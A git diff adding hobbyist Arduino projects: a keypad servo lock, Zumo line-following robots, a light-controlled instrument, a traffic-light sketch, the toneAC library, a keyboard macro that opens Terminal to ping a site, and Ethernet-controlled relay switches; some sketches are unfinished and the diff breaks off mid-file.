digitalRead(buttonPin); + if (buttonState == HIGH) + { + Keyboard.press((char) 0x80); + Keyboard.press((char) 0x20); + Keyboard.releaseAll(); + delay(100); + Keyboard.print("Terminal"); + Keyboard.write((char) 0xB0); + delay(600); + Keyboard.print("ping google.com"); + Keyboard.write((char) 0xB0); + Keyboard.releaseAll(); + delay(500); + } + } + diff --git a/Projects/Lock/Lock.ino b/Projects/Lock/Lock.ino new file mode 100755 index 0000000..1d6efec --- /dev/null +++ b/Projects/Lock/Lock.ino @@ -0,0 +1,104 @@ +// Keypad_Lock.ino +#include +#include + +// Output +int led = 2; + +// Input +char passphrase[] = {'1', '2', '3', '4'}; +int pass_length = sizeof(passphrase); +bool locked = true; +int i = 0; +int angle = 0; + +const byte rows = 4; +const byte cols = 3; +char keys[rows][cols] = { + {'1', '2', '3'}, + {'4', '5', '6'}, + {'7', '8', '9'}, + {'*', '0', '#'} +}; + +byte rowPins[rows] = {9, 8, 7, 6}; +byte colPins[cols] = {5, 4, 3}; + +Servo myservo; +Keypad keypad = Keypad(makeKeymap(keys), rowPins, colPins, rows, cols); + +void unlock() { + locked = false; + + for(int i=0; i<5; i++) { + digitalWrite(led, HIGH); + delay(250); + digitalWrite(led, LOW); + delay(250); + } + + myservo.write(160); +} + +void lock() { + locked = true; + i = 0; + + myservo.write(40); +} + +void correct_entry() { + i++; + + if (i!=pass_length) { + //digitalWrite(led, HIGH); + //delay(250); + //digitalWrite(led, LOW); + } + else { + unlock(); + } +} + +void setup() { + Serial.begin(9600); + + // Output + pinMode(led, OUTPUT); + myservo.attach(10, 0, 2000); +} + +void loop() { + char key = keypad.getKey(); + + if (key) { + // Debug + Serial.print(key); + Serial.println(passphrase[i]); + + // key_pressed(); + + if (locked==false) { + if (key=='*') { + lock(); + } + } + else { + if (i==0) { + if (key==passphrase[i]) { + correct_entry(); + } + } + else if (i>0) { + if (key==passphrase[i]) { + correct_entry(); + } + else { + i=0; + } + } + } + } +} + + diff --git a/Projects/ProgLab/Instrument/Instrument.ino b/Projects/ProgLab/Instrument/Instrument.ino new file mode 100644 index 0000000..71287f5 --- /dev/null +++ b/Projects/ProgLab/Instrument/Instrument.ino @@ -0,0 +1,25 @@ +#include + +Servo myservo; + +int potpin = 0; +int potReading; +int photocellPin = 1; +int photocellReading; + +void setup() +{ + myservo.attach(9); +} + +void loop() +{ + potReading = analogRead(potpin); + potReading = map(potReading, 0, 1023, 0, 179); + myservo.write(potReading); + photocellReading = analogRead(photocellPin); + + int thisPitch = map(photocellReading, 1, 1000, 120, 1500); + tone(8, thisPitch, 10); + delay(1); +} diff --git a/Projects/ProgLab/Instrument2/Instrument2.ino b/Projects/ProgLab/Instrument2/Instrument2.ino new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Projects/ProgLab/Instrument2/Instrument2.ino @@ -0,0 +1 @@ + diff --git a/Projects/ProgLab/LineFollow/LineFollow.ino b/Projects/ProgLab/LineFollow/LineFollow.ino new file mode 100644 index 0000000..09c82dc --- /dev/null +++ b/Projects/ProgLab/LineFollow/LineFollow.ino @@ -0,0 +1,107 @@ +#include +#include +#include +#include +#include +#include + + +/* + * Demo line-following code for the Pololu Zumo Robot + * + * This code will follow a black line on a white background, using a + * PID-based algorithm. It works decently on courses with smooth, 6" + * radius curves and has been tested with Zumos using 30:1 HP and + * 75:1 HP motors. Modifications might be required for it to work + * well on different courses or with different motors. + * + * http://www.pololu.com/catalog/product/2506 + * http://www.pololu.com + * http://forum.pololu.com +*/ + + +ZumoReflectanceSensorArray reflectanceSensors; +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); +int lastError = 0; + +// This is the maximum speed the motors will be allowed to turn. +// (400 lets the motors go at top speed; decrease to impose a speed limit) +const int MAX_SPEED = 400; +// Set constants for PID control +const float KP = 0.5; // Proportional constant +const float KD = 6; // Derivative constant +const int SV = 2500; // Set-value for position (in the middle of sensors) + + +void setup() +{ + + reflectanceSensors.init(); + button.waitForButton(); // wait to start calibration + + // Turn on LED to indicate we are in calibration mode + pinMode(13, OUTPUT); + digitalWrite(13, HIGH); + + // Wait 1 second and then begin automatic sensor calibration + // by rotating in place to sweep the sensors over the line + delay(1000); + int i; + for(i = 0; i < 80; i++) + { + if ((i > 10 && i <= 30) || (i > 50 && i <= 70)) + motors.setSpeeds(-200, 200); + else + motors.setSpeeds(200, -200); + + reflectanceSensors.calibrate(); + + // Since our counter runs to 80, the total delay will be + // 80*20 = 1600 ms. + delay(20); + } + motors.setSpeeds(0,0); + + // Turn off LED to indicate we are through with calibration + digitalWrite(13, LOW); + + // Wait for the user button to be pressed and released + button.waitForButton(); +} + +void loop() +{ + unsigned int sensors[6]; + + int pv = reflectanceSensors.readLine(sensors); + // Our "error" is how far we are away from the center of the line, which + // corresponds to position 2500. + int error = pv - SV; + // do PD computation ( Integral is not used) + int speedDifference = KP*error + KD * (error - lastError); + + lastError = error; + + // Get individual motor speeds. The sign of speedDifference + // determines if the robot turns left or right. + int m1Speed = MAX_SPEED + speedDifference; + int m2Speed = MAX_SPEED - speedDifference; + + // Here we constrain our motor speeds to be between 0 and MAX_SPEED. + // Generally speaking, one motor will always be turning at MAX_SPEED + // and the other will be at MAX_SPEED-|speedDifference| if that is positive, + // else it will be stationary. For some applications, you might want to + // allow the motor speed to go negative so that it can spin in reverse. + if (m1Speed < 0) + m1Speed = 0; + if (m2Speed < 0) + m2Speed = 0; + if (m1Speed > MAX_SPEED) + m1Speed = MAX_SPEED; + if (m2Speed > MAX_SPEED) + m2Speed = MAX_SPEED; + + motors.setSpeeds(m1Speed, m2Speed); +} diff --git a/Projects/ProgLab/LineFollower/LineFollower.ino b/Projects/ProgLab/LineFollower/LineFollower.ino new file mode 100644 index 0000000..f6696fc --- /dev/null +++ b/Projects/ProgLab/LineFollower/LineFollower.ino @@ -0,0 +1,53 @@ +#include +#include +#include +#include +#include +#include + +#define driveSpeed 150 +#define lightThreshold 800 + +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); +unsigned int sensorValues[6]; +ZumoReflectanceSensorArray reflectanceSensors; + +void setup() +{ + reflectanceSensors.init(); + motors.setSpeeds(0,0); + button.waitForButton(); +} + +void findLine() +{ + reflectanceSensors.read(sensorValues); + if (sensorValues[0] > lightThreshold) + { + turnLeft(); + } + else if (sensorValues[5] > lightThreshold) + { + turnRight(); + } +} + +void turnLeft() +{ + motors.setSpeeds(-driveSpeed, -300); + delay(400); +} +void turnRight() +{ + motors.setSpeeds(-300, -driveSpeed); + delay(400); +} + +void loop() +{ + findLine(); + motors.setSpeeds(driveSpeed, driveSpeed); +} + + diff --git a/Projects/ProgLab/Lyskryss/Lyskryss.ino b/Projects/ProgLab/Lyskryss/Lyskryss.ino new file mode 100644 index 0000000..58169e5 --- /dev/null +++ b/Projects/ProgLab/Lyskryss/Lyskryss.ino @@ -0,0 +1,57 @@ +#include +#include + +#define Trigger_Pin 12 +#define Echo_Pin 11 +#define Max_Distance 200 + +// Green car - 10 +// Yellow car - 9 +// Red car - 8 +// Green person - 7 +// Red person - 6 +// ECHO 11 & 12 + + +NewPing sonar(Trigger_Pin, Echo_Pin, Max_Distance); + +Servo gateServo; +int servoPos = 0; + +int lightPinArray[] = { + 10, 9, 9, 8, 7, 6, 6, 7, 9, 8, 9}; +boolean lightStateArray[] = { + LOW, HIGH, LOW, HIGH, LOW, HIGH, LOW, HIGH, HIGH, LOW, LOW}; +int lightDelayArray[] = { + 1000, 0, 500, 0, 500, 0, 2000, 0, 500, 500, 0}; + +void setup() +{ + for (int i = 0; i < 5; i++) + { + pinMode(i + 6, OUTPUT); + } + gateServo.attach(4); +} + +void personDetected() +{ + for(int i = 0; i < 12; i++) + { + delay(lightDelayArray[i]); + digitalWrite(lightPinArray[i], lightStateArray[i]); + } + +void loop() +{ + unsigned int uS = sonar.ping(); + if ((uS /US_ROUNDTRIP_CM) < 5 && uS /US_ROUNDTRIP_CM > 1) + { + personDetected(); + } + else + { + digitalWrite(7, HIGH); + digitalWrite(10, HIGH); + } +} diff --git a/Projects/ProgLab/Lyskryss/data/plab-library-master.zip b/Projects/ProgLab/Lyskryss/data/plab-library-master.zip new file mode 100644 index 0000000..e308bf9 Binary files /dev/null and b/Projects/ProgLab/Lyskryss/data/plab-library-master.zip differ diff --git a/Projects/ProgLab/Zumo_1/Zumo_1.ino b/Projects/ProgLab/Zumo_1/Zumo_1.ino new file mode 100644 index 0000000..a7302ac --- /dev/null +++ b/Projects/ProgLab/Zumo_1/Zumo_1.ino @@ -0,0 +1,89 @@ +#include +#include +#include +#include +#include +#include + +ZumoReflectanceSensorArray reflectanceSensors; +unsigned int sensor_values[6]; +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); +int lastError = 0; + +const int MAX_SPEED = 800; +// Set constants for PID control +const float KP = 0.5; // Proportional constant +const float KD = 6; // Derivative constant +const int SV = 2500; // Set-value for position (in the middle of sensors) + +unsigned long Timer; //"ALWAYS use unsigned long for timers, not int" + +void setup() +{ + Serial.begin(9600); + reflectanceSensors.init(); + pinMode(13, OUTPUT); + digitalWrite(13, HIGH); + button.waitForButton(); + for(int i = 0; i < 80; i++) + { + if ((i > 10 && i <= 30) || (i > 50 && i <= 70)) + motors.setSpeeds(-200, 200); + else + motors.setSpeeds(200, -200); + + reflectanceSensors.calibrate(); + + // Since our counter runs to 80, the total delay will be + // 80*20 = 1600 ms. + delay(20); + } + motors.setSpeeds(0, 0); + button.waitForButton(); + + digitalWrite(13, LOW); +} + +void loop() +{ + reflectanceSensors.read(sensor_values); + if (sensor_values[5] < 1800) + { + motors.setSpeeds(-100, -100); + delay(1000); + motors.setSpeeds(-100, 100); + delay(1000); + } + else if (sensor_values[0] < 1800) + { + motors.setSpeeds(-100, -100); + delay(1000); + motors.setSpeeds(100, -100); + delay(1000); + } + else + { + motors.setSpeeds(100, 100); + } + + int pv = reflectanceSensors.readLine(sensor_values); + // Our "error" is how far we are away from the center of the line, which + // corresponds to position 2500. + int error = pv - SV; + // do PD computation ( Integral is not used) + int speedDifference = KP*error + KD * (error - lastError); + + + //Serial.println(error); + lastError = error; + + // Get individual motor speeds. The sign of speedDifference + // determines if the robot turns left or right. + int m1Speed = MAX_SPEED + speedDifference; + int m2Speed = MAX_SPEED - speedDifference; + + + + motors.setSpeeds(m1Speed, m2Speed); +} diff --git a/Projects/ProgLab/Zumo_2.0/Zumo_2.0.ino b/Projects/ProgLab/Zumo_2.0/Zumo_2.0.ino new file mode 100644 index 0000000..0f218e7 --- /dev/null +++ b/Projects/ProgLab/Zumo_2.0/Zumo_2.0.ino @@ -0,0 +1,54 @@ +#include +#include +#include +#include +#include +#include + +#define maxSpeed 400 +#define reverseSpeed 400 +#define lightThreshold 1800 + +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); +unsigned int sensorValues[6]; +ZumoReflectanceSensorArray reflectaneceSensors; + +void setup() +{ + reflectaneceSensors.init(); + motors.setSpeeds(0,0); + button.waitForButton(); +} + +void findLine() +{ + reflectaneceSensors.read(sensorValues); + if (sensorValues[0] > lightThreshold) + { + turnLeft(1000); + } + else if (sensorValues[5] > lightThreshold) + { + turnRight(1000); + } +} + +void turnLeft(int delayTime) +{ + motors.setSpeeds(0, 200); + delay(delayTime); +} +void turnRight(int delayTime) +{ + motors.setSpeeds(200, 0); + delay(delayTime); +} + +void loop() +{ + findLine(); + motors.setSpeeds(200, 200); +} + + diff --git a/Projects/ProgLab/Zumo_2/Zumo_2.ino b/Projects/ProgLab/Zumo_2/Zumo_2.ino new file mode 100644 index 0000000..62cd1f2 --- /dev/null +++ b/Projects/ProgLab/Zumo_2/Zumo_2.ino @@ -0,0 +1,81 @@ +/* +Drive forward and turn left or right when border is detected + - Only reflectionsensor 0 and 5 are used. +*/ +#include +#include +#include +#include +#include + +#define LED 13 + +// this might need to be tuned for different lighting conditions, surfaces, etc. +#define lightThreshold 1800 // + +#define reverseSpeed 200 +#define turnSpeed 200 +#define forwardSpeed 100 +#define revDuration 200 +#define turnDuration 500 +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); // pushbutton on pin 12 +#define NUM_SENSORS 6 +unsigned int sensor_values[NUM_SENSORS]; +ZumoReflectanceSensorArray sensors; + +const int echoPin1 = 2; +const int echoPin2 = 4; +const int triggerPin1 = 3; +const int triggerPin2 = 5; +const int maxDistance = 40; + +NewPing sonar1(triggerPin1, echoPin1, maxDistance); +NewPing sonar2(triggerPin2, echoPin2, maxDistance); + +void setup() +{ + Serial.begin(9600); + sensors.init(); + button.waitForButton(); +} + +void turnLeft() +{ + motors.setSpeeds(-reverseSpeed, -reverseSpeed); + delay(revDuration); + motors.setSpeeds(turnSpeed, -turnSpeed); + delay(turnDuration); + motors.setSpeeds(forwardSpeed, forwardSpeed); +} + +void turnRight() +{ + motors.setSpeeds(-reverseSpeed, -reverseSpeed); + delay(revDuration); + motors.setSpeeds(-turnSpeed, turnSpeed); + delay(turnDuration); + motors.setSpeeds(forwardSpeed, forwardSpeed); +} + +void loop() +{ + sensors.read(sensor_values); + if (sensor_values[0] < lightThresHold || sensor_values[5] < lightThreshold) + { + if (sensor_values[0] < lightThreshold) + { + turnLeft(); + } + else if (sensor_values[5] < lightThreshold) + { + turnRight(); + } + } + + unsigned int time = sonar1.ping(); + if ( + + // If haven't done anything, go forward + motors.setSpeeds(forwardSpeed, forwardSpeed); +} diff --git a/Projects/ProgLab/Zumo__/Zumo__.ino b/Projects/ProgLab/Zumo__/Zumo__.ino new file mode 100644 index 0000000..aba1ad2 --- /dev/null +++ b/Projects/ProgLab/Zumo__/Zumo__.ino @@ -0,0 +1,128 @@ +/* +Drive forward and turn left or right when border is detected + - Only reflectionsensor 0 and 5 are used. +*/ +#include +#include +#include +#include +#include + +#define LED 13 + +// this might need to be tuned for different lighting conditions, surfaces, etc. +#define lightThreshold 1800 // + +#define reverseSpeed 400 +#define turnSpeed 400 +#define forwardSpeed 400 +#define revDuration 300 +#define turnDuration 200 +#define triggerPin 3 +#define echoPin 2 +#define maxDistance 200 + +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); // pushbutton on pin 12 +#define NUM_SENSORS 6 +unsigned int sensor_values[NUM_SENSORS]; +ZumoReflectanceSensorArray sensors; + +NewPing sonar(triggerPin, echoPin, maxDistance); + +unsigned int pingSpeed = 100; +unsigned long pingTimer; + +void setup() +{ + Serial.begin(115200); + sensors.init(); + pingTimer = millis(); + //button.waitForButton(); +} + +boolean findLine() +{ + sensors.read(sensor_values); + if (sensor_values[0] < lightThreshold || sensor_values[5] < lightThreshold) + { + if (sensor_values[0] < lightThreshold) + { + turnLeft(); + return true; + } + else if (sensor_values[5] < lightThreshold) + { + turnRight(); + return true; + } + } + return false; +} + +void turnLeft() +{ + motors.setSpeeds(-reverseSpeed, -reverseSpeed); + delay(revDuration); + motors.setSpeeds(turnSpeed, -turnSpeed); + delay(turnDuration); +} + +void turnRight() +{ + motors.setSpeeds(-reverseSpeed, -reverseSpeed); + delay(revDuration); + motors.setSpeeds(-turnSpeed, turnSpeed); + delay(turnDuration); +} +/* +void search() +{ + time = sonar.ping(); + distance = sonar.convert_cm(time); + if (distance < 40) + motors.setSpeeds(310, 400); + else + { + motors.setSpeeds(400, 400); + delay(20); + time = sonar.ping(); + distance = sonar.convert_cm(time); + if (distance < 40) + motors.setSpeeds(310, 400); + } +}*/ + +void echoCheck() +{ + if (sonar.check_timer()) + { + if (sonar.ping_result / US_ROUNDTRIP_CM < 20) + { + Serial.println(sonar.ping_result / US_ROUNDTRIP_CM); + motors.setSpeeds(310, 400); + } + else + { + Serial.println("Nothing here!"); + motors.setSpeeds(400, 400); + delay(20); + } + } +} + +void scan() +{ + // Init at start, find the target. +} + +void loop() +{ + findLine(); + motors.setSpeeds(310, 400); + if (millis() >= pingTimer) + { + pingTimer += pingSpeed; + sonar.ping_timer(echoCheck); + } +} diff --git a/Projects/ProgLab/toneAC.h/toneAC.h b/Projects/ProgLab/toneAC.h/toneAC.h new file mode 100644 index 0000000..6eb2d17 --- /dev/null +++ b/Projects/ProgLab/toneAC.h/toneAC.h @@ -0,0 +1,221 @@ +// --------------------------------------------------------------------------- + +// toneAC Library - v1.2 - 01/27/2013 + +// + +// AUTHOR/LICENSE: + +// Created by Tim Eckel - teckel@leethost.com + +// Copyright 2013 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html + +// + +// LINKS: + +// Project home: http://code.google.com/p/arduino-tone-ac/ + +// Blog: http://arduino.cc/forum/index.php/topic,142097.msg1066968.html + +// + +// DISCLAIMER: + +// This software is furnished "as is", without technical support, and with no + +// warranty, express or implied, as to its usefulness for any purpose. + +// + +// PURPOSE: + +// Replacement to the standard tone library with the advantage of nearly twice + +// the volume, higher frequencies (even if running at a lower clock speed), + +// higher quality (less clicking), nearly 1.5k smaller compiled code and less + +// stress on the speaker. Disadvantages are that it must use certain pins and + +// it uses two pins instead of one. But, if you're flexible with your pin + +// choices, this is a great upgrade. It also uses timer 1 instead of timer 2, + +// which may free up a conflict you have with the tone library. It exclusively + +// uses port registers for the fastest and smallest code possible. + +// + +// USAGE: + +// Connection is very similar to a piezo or standard speaker. Except, instead + +// of connecting one speaker wire to ground you connect both speaker wires to + +// Arduino pins. The pins you connect to are specific, as toneAC lets the + +// ATmega microcontroller do all the pin timing and switching. This is + +// important due to the high switching speed possible with toneAC and to make + +// sure the pins are alyways perfectly out of phase with each other + +// (push/pull). See the below CONNECTION section for which pins to use for + +// different Arduinos. Just as usual when connecting a speaker, make sure you + +// add an inline 100 ohm resistor between one of the pins and the speaker wire. + +// + +// CONNECTION: + +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. + +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega + +// Pins 12 & 13 - ATmega1284P, ATmega644 + +// Pins 14 & 15 - Teensy 2.0 + +// Pins 25 & 26 - Teensy++ 2.0 + +// + +// SYNTAX: + +// toneAC( frequency [, volume [, length [, background ]]] ) - Play a note. + +// Parameters: + +// * frequency - Play the specified frequency indefinitely, turn off with toneAC(). + +// * volume - [optional] Set a volume level. (default: 10, range: 0 to 10 [0 = off]) + +// * length - [optional] Set the length to play in milliseconds. (default: 0 [forever], range: 0 to 2^32-1) + +// * background - [optional] Play note in background or pause till finished? (default: false, values: true/false) + +// toneAC() - Stop playing. + +// noToneAC() - Same as toneAC(). + +// + +// HISTORY: + +// 01/27/2013 v1.2 - Fixed a counter error which went "over the top" and caused + +// periods of silence (thanks Krodal). For advanced users needing tight code, + +// the TONEAC_TINY switch in toneAC.h activates a version of toneAC() that + +// saves 110 bytes. With TONEAC_TINY, the syntax is toneAC(frequency, length) + +// while playing the note at full volume forever in the background. Added + +// support for the ATmega 640, 644, 1281, 1284P and 2561 microcontrollers. + +// + +// 01/16/2013 v1.1 - Option to play notes in background, returning control back + +// to your sketch for processing while note plays (similar to the way the tone + +// library works). Volume is now linear and in the range from 0-10. Now uses + +// prescaler 256 instead of 64 for frequencies below 122 Hz so it can go down + +// to 1 Hz no matter what speed the CPU is clocked at (helpful if using toneAC + +// to control a two-pin dual LED). + +// + +// 01/11/2013 v1.0 - Initial release. + +// + +// --------------------------------------------------------------------------- + + + +#ifndef toneAC_h + + #define toneAC_h + + + + #if defined(ARDUINO) && ARDUINO >= 100 + + #include + + #else + + #include + + #endif + + + + //#define TONEAC_TINY // Uncomment to use alternate function toneAC(frequency, length) that saves 110 bytes. + + + + #if defined (__AVR_ATmega32U4__) || defined(__AVR_ATmega640__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega1281__) || defined(__AVR_ATmega2560__) || defined(__AVR_ATmega2561__) + + #define PWMT1AMASK DDB5 + + #define PWMT1BMASK DDB6 + + #define PWMT1DREG DDRB + + #define PWMT1PORT PORTB + + #elif defined(__AVR_ATmega1284P__) || defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) + + #define PWMT1AMASK DDD4 + + #define PWMT1BMASK DDD5 + + #define PWMT1DREG DDRD + + #define PWMT1PORT PORTD + + #else + + #define PWMT1AMASK DDB1 + + #define PWMT1BMASK DDB2 + + #define PWMT1DREG DDRB + + #define PWMT1PORT PORTB + + #endif + + + + #if defined(__AVR_ATmega8__) || defined(__AVR_ATmega128__) + + #define TIMSK1 TIMSK + + #endif + + + + #ifndef TONEAC_TINY + + void toneAC(unsigned long frequency = 0, uint8_t volume = 10, unsigned long length = 0, uint8_t background = false); + + #else + + void toneAC(unsigned long frequency = 0, unsigned long length = 0); + + #endif + + void noToneAC(); + +#endif diff --git a/Projects/ProgLab/toneAC.h/toneAC.h.ino b/Projects/ProgLab/toneAC.h/toneAC.h.ino new file mode 100644 index 0000000..3eb89d4 --- /dev/null +++ b/Projects/ProgLab/toneAC.h/toneAC.h.ino @@ -0,0 +1,35 @@ +// --------------------------------------------------------------------------- +// Connect your piezo buzzer (without internal oscillator) or speaker to these pins: +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// Be sure to include an inline 100 ohm resistor on one pin as you normally do when connecting a piezo or speaker. +// --------------------------------------------------------------------------- + +#include "toneAC.h" + +// Melody liberated from the toneMelody Arduino example sketch by Tom Igoe. +int melody[] = { 262, 196, 196, 220, 196, 0, 247, 262 }; +int noteDurations[] = { 4, 8, 8, 4, 4, 4, 4, 4 }; + +void setup() {} // Nothing to setup, just start playing! + +void loop() { + for (unsigned long freq = 125; freq <= 15000; freq += 10) { + toneAC(freq); // Play the frequency (125 Hz to 15 kHz sweep in 10 Hz steps). + delay(1); // Wait 1 ms so you can hear it. + } + toneAC(); // Turn off toneAC, can also use noToneAC(). + + delay(1000); // Wait a second. + + for (int thisNote = 0; thisNote < 8; thisNote++) { + int noteDuration = 1000/noteDurations[thisNote]; + toneAC(melody[thisNote], 10, noteDuration, true); // Play thisNote at full volume for noteDuration in the background. + delay(noteDuration * 4 / 3); // Wait while the tone plays in the background, plus another 33% delay between notes. + } + + while(1); // Stop (so it doesn't repeat forever driving you crazy--you're welcome). +} diff --git a/Projects/RelayController/RelayController_1.0/RelayController_1.0.ino b/Projects/RelayController/RelayController_1.0/RelayController_1.0.ino new file mode 100644 index 0000000..e846085 --- /dev/null +++ b/Projects/RelayController/RelayController_1.0/RelayController_1.0.ino @@ -0,0 +1,66 @@ +#include + +int relayPins[] = {4, 7, 6, 5}; +int buttonPins[] = {8, 9, 10, 11, 12, 13}; +int relayState[] = {0, 0, 0, 0}; +int buttonState = 0; + +Servo myservo; + +void setup() { + for (int i = 0; i < 6; i++) + { + if (i < 4) + { + pinMode(relayPins[i], OUTPUT); + } + pinMode(buttonPins[i], INPUT_PULLUP); + } + + myservo.attach(3); +} + +void loop() +{ + for (int i = 0; i < 6; i++) + { + buttonState = digitalRead(buttonPins[i]); + if (buttonState == LOW) + { + switch (i) + { + case 4: + // + break; + case 3: + // Turn on the servo for speaker + myservo.write(150); + delay(1000); + myservo.write(140); + break; + default: + relayChange(i); + break; + } + } + while (buttonState == LOW) + { + delay(50); + buttonState = digitalRead(buttonPins[i]); + } + } +} + +void relayChange(int i) +{ + if (relayState[i] == 0) + { + digitalWrite(relayPins[i], HIGH); + relayState[i] = 1; + } + else + { + digitalWrite(relayPins[i], LOW); + relayState[i] = 0; + } +} diff --git a/Projects/RelayController/ServerController_1.0/ServerController_1.0.ino b/Projects/RelayController/ServerController_1.0/ServerController_1.0.ino new file mode 100644 index 0000000..c66361b --- /dev/null +++ b/Projects/RelayController/ServerController_1.0/ServerController_1.0.ino @@ -0,0 +1,264 @@ +#include +#include + +byte mac[] = { + 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51 }; + +IPAddress ip(10,0,0,5); + +EthernetServer server(80); + +int relayPins[] = {4, 7, 6, 5}; +int buttonPins[] = {8, 9, 10, 11, 12, 13}; +int relayState[] = {0, 0, 0, 0}; +int buttonState = 0; + +String readString = String(100); //string for fetching data from address + +void setup() +{ + Serial.begin(9600); + + for (int i = 0; i < 6; i++) + { + if (i < 4) + pinMode(relayPins[i], OUTPUT); + pinMode(buttonPins[i], INPUT_PULLUP); + } + + // start the Ethernet connection and the server: + + Serial.println(F("Initiaizing ethernet...")); + + // this uses a fixed address + Ethernet.begin(mac, ip); + + // get an address with DHCP + //if (Ethernet.begin(mac) == 0) + // Serial.println("Failed to configure Ethernet using DHCP"); + + // give the card a second to initialize + delay(1000); + + server.begin(); + + Serial.print(F("Garage Door Opener Control Ready at IP address ")); + Serial.println(Ethernet.localIP()); +} + +void loop() +{ + // command received (one character) '1' - activate garage door button + char cmd = 0; // 1 - pulse button + boolean done = false; // set to indicate that response is complete + + // listen for incoming clients + EthernetClient client = server.available(); + if (client) + { + Serial.println(F("new client")); + readString = ""; + + while (client.connected()) + { + if (client.available()) + { + char c = client.read(); + Serial.write(c); + + // store character received in receive string + if (readString.length() < 100) + readString += (c); + + // check for end of line + if (c == '\n') + { + // process line if its the "GET" request + // a request looks like "GET /?1" or "GET /?2" + if (readString.indexOf("GET") != -1) + { + if (readString.indexOf("?1") != -1) + cmd = '1'; + // check for other commands here. ie turn on light, etc. + if (readString.indexOf("?2") != -1) + cmd = '2'; + if (readString.indexOf("?3") != -1) + cmd = '3'; + if (readString.indexOf("?4") != -1) + cmd = '4'; + if (readString.indexOf("?5") != -1) + cmd = '5'; + if (readString.indexOf("?6") != -1) + cmd = '6'; + if (readString.indexOf("?7") != -1) + cmd = '7'; + if (readString.indexOf("?8") != -1) + cmd = '8'; + } + // if a blank line was received (just cr lf, length of 2), then its the end of the request + if (readString.length() == 2) + { + if (cmd == '1'){ + Serial.println(F("Activate Button")); + digitalWrite(6, HIGH); + } + if (cmd == '2'){ + Serial.println(F("Activate Button")); + digitalWrite(6, LOW); + } + if (cmd == '3'){ + Serial.println(F("Activate Button")); + digitalWrite(5, HIGH); + } + if (cmd == '4'){ + Serial.println(F("Activate Button")); + digitalWrite(5, LOW); + } + if (cmd == '5'){ + Serial.println(F("Activate Button")); + digitalWrite(7, HIGH); + } + if (cmd == '6'){ + Serial.println(F("Activate Button")); + digitalWrite(7, LOW); + } + if (cmd == '7'){ + Serial.println(F("Activate Button")); + digitalWrite(4, HIGH); + } + if (cmd == '8'){ + Serial.println(F("Activate Button")); + digitalWrite(4, LOW); + } + // add other commands here + + for (int i = 0; i < 6; i++) + { + buttonState = digitalRead(buttonPins[i]); + if (buttonState == LOW) + { + switch(i) + { + case 4: + // + break; + case 3: + // Turn on the servo for speaker + /* + myservo.write(300); + delay(500); + myservo.write(110); + break; + */ + default: + relayChange(i); + break; + } + } + /* + while (buttonState == LOW) + { + delay(50); + buttonState = digitalRead(buttonPins[i]); + }*/ + } + + // send web page back to client + Serial.println(F("sending web page")); + SendWebPage(client); + Serial.println(F("web page sent")); + + cmd = 0; + + // break out and disconnect. This will tell the browser the request is complete without having to specify content-length + break; + + } // end of request reached + + // start line over + readString = ""; + } // end of line reached + } // end data is available from client + } // end cient is connected + // give the web browser time to receive the data + Serial.println(F("delay before disconnect")); + delay(100); + // close the connection: + client.stop(); + Serial.println(F("client disonnected")); + } // end client has been created +} + +void relayChange(int i) +{ + if (relayState[i] == 0) + { + digitalWrite(relayPins[i], HIGH); + relayState[i] = 1; + } + else + { + digitalWrite(relayPins[i], LOW); + relayState[i] = 0; + } +} + + +// send web page +void SendWebPage(EthernetClient client) +{ + client.println(F("HTTP/1.1 200 OK")); + client.println(F("Content-Type: text/html")); + // to specify the length, wooul have to construct the entire string and then get its length + //client.println("Content-Length: 1234"); + client.println(F("Connnection: close")); + client.println(); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("Home Automation Control")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("
")); + client.println(F("Home Auotmation Control

")); + + + // door open / close button + if (digitalRead(6)==LOW) + client.println(F("

")); + if (digitalRead(6)==HIGH) + client.println(F("

")); + if (digitalRead(5)==LOW) + client.println(F("

")); + if (digitalRead(5)==HIGH) + client.println(F("

")); + if (digitalRead(7)==LOW) + client.println(F("

")); + if (digitalRead(7)==HIGH) + client.println(F("

")); + if (digitalRead(4)==LOW) + client.println(F("

")); + if (digitalRead(4)==HIGH) + client.println(F("

")); + + // add more buttons here + // button separator + + client.println(F("
")); + + client.println(F("")); + client.println(F("")); + + client.println(""); +} + + + + diff --git a/Projects/RelayController/ServerController_1.1/ServerController_1.1.ino b/Projects/RelayController/ServerController_1.1/ServerController_1.1.ino new file mode 100644 index 0000000..3a5e01a --- /dev/null +++ b/Projects/RelayController/ServerController_1.1/ServerController_1.1.ino @@ -0,0 +1,235 @@ +#include +#include +#include + +byte mac[] = { + 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51}; + +IPAddress ip(10,0,0,5); +EthernetServer server(81); + +int relayPins[] = {7, 6, 5, 4}; +int buttonPins[] = {8, 9, 10, 11, 12, 13}; +int relayState[] = {0, 0, 0, 0}; +int buttonState = 0; + +Servo speakerServo; + +String readString = String(100); + +void setup() +{ + Serial.begin(9600); + for (int i = 0; i < 6; i++) + { + Serial.println("RUN"); + if (i < 4) + pinMode(relayPins[i], OUTPUT); + pinMode(buttonPins[i], INPUT_PULLUP); + } + + speakerServo.attach(3); + + Serial.println(F("Initialaizing ethernet...")); + Ethernet.begin(mac, ip); + + delay(1000); + + server.begin(); + Serial.print(F("Kevin's RelayController ready at: ")); + Serial.println(Ethernet.localIP()); +} + +void loop() +{ + int cmd = 0; + boolean done = false; + + //checkButtons(); + + EthernetClient 